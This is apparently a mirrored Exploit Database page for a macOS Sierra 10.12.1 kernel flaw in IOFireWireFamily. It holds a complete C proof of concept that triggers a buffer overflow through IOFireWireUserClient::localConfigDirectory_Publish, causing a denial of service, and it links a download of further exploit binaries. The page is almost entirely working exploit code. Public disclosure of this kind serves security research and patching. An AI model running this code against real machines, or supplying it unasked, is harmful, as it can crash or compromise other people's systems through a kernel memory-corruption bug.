Apple macOS Sierra 10.12.1 – ‘IOFireWireFamily’ FireWire Port Denial of Service

• Exploit Database
• 53 阅读

• 作者： Brandon Azad
  日期： 2017-08-19
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/44235/

• /*
   * IOFireWireFamily-overflow.c
   * Brandon Azad
   *
   * Buffer overflow reachable from IOFireWireUserClient::localConfigDirectory_Publish.
   *
   * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44235.zip
  */
  
  #include <IOKit/IOKitLib.h>
  #include <stdlib.h>
  #include <string.h>
  
  int main() {
  	int ret = 0;
  	io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
  			IOServiceMatching("IOFireWireLocalNode"));
  	if (service == IO_OBJECT_NULL) {
  		ret = 1;
  		goto fail1;
  	}
  	io_connect_t connect;
  	kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
  	IOObjectRelease(service);
  	if (kr != KERN_SUCCESS) {
  		ret = 2;
  		goto fail1;
  	}
  	// localConfigDirectory_Create
  	uint64_t directory = 0;
  	uint32_t output_count = 1;
  	kr = IOConnectCallMethod(connect, 16,
  			NULL, 0, NULL, 0,
  			&directory, &output_count, NULL, NULL);
  	if (kr != KERN_SUCCESS) {
  		ret = 3;
  		goto fail2;
  	}
  	// localConfigDirectory_addEntry_Buffer
  	uint32_t size = 0x100000;
  	void *buffer = malloc(size);
  	memset(buffer, 0xaa, size);
  	uint64_t addEntry_Buffer_args[6] = { directory, 0, (uint64_t)buffer, size, 0, 0 };
  	kr = IOConnectCallMethod(connect, 17,
  			addEntry_Buffer_args,
  			sizeof(addEntry_Buffer_args) / sizeof(*addEntry_Buffer_args),
  			NULL, 0,
  			NULL, NULL, NULL, NULL);
  	free(buffer);
  	if (kr != KERN_SUCCESS) {
  		ret = 4;
  		goto fail2;
  	}
  	// localConfigDirectory_Publish
  	kr = IOConnectCallMethod(connect, 21,
  			&directory, 1, NULL, 0,
  			NULL, NULL, NULL, NULL);
  	if (kr != KERN_SUCCESS) {
  		ret = 5;
  		goto fail2;
  	}
  fail2:
  	IOServiceClose(connect);
  fail1:
  	return ret;
  }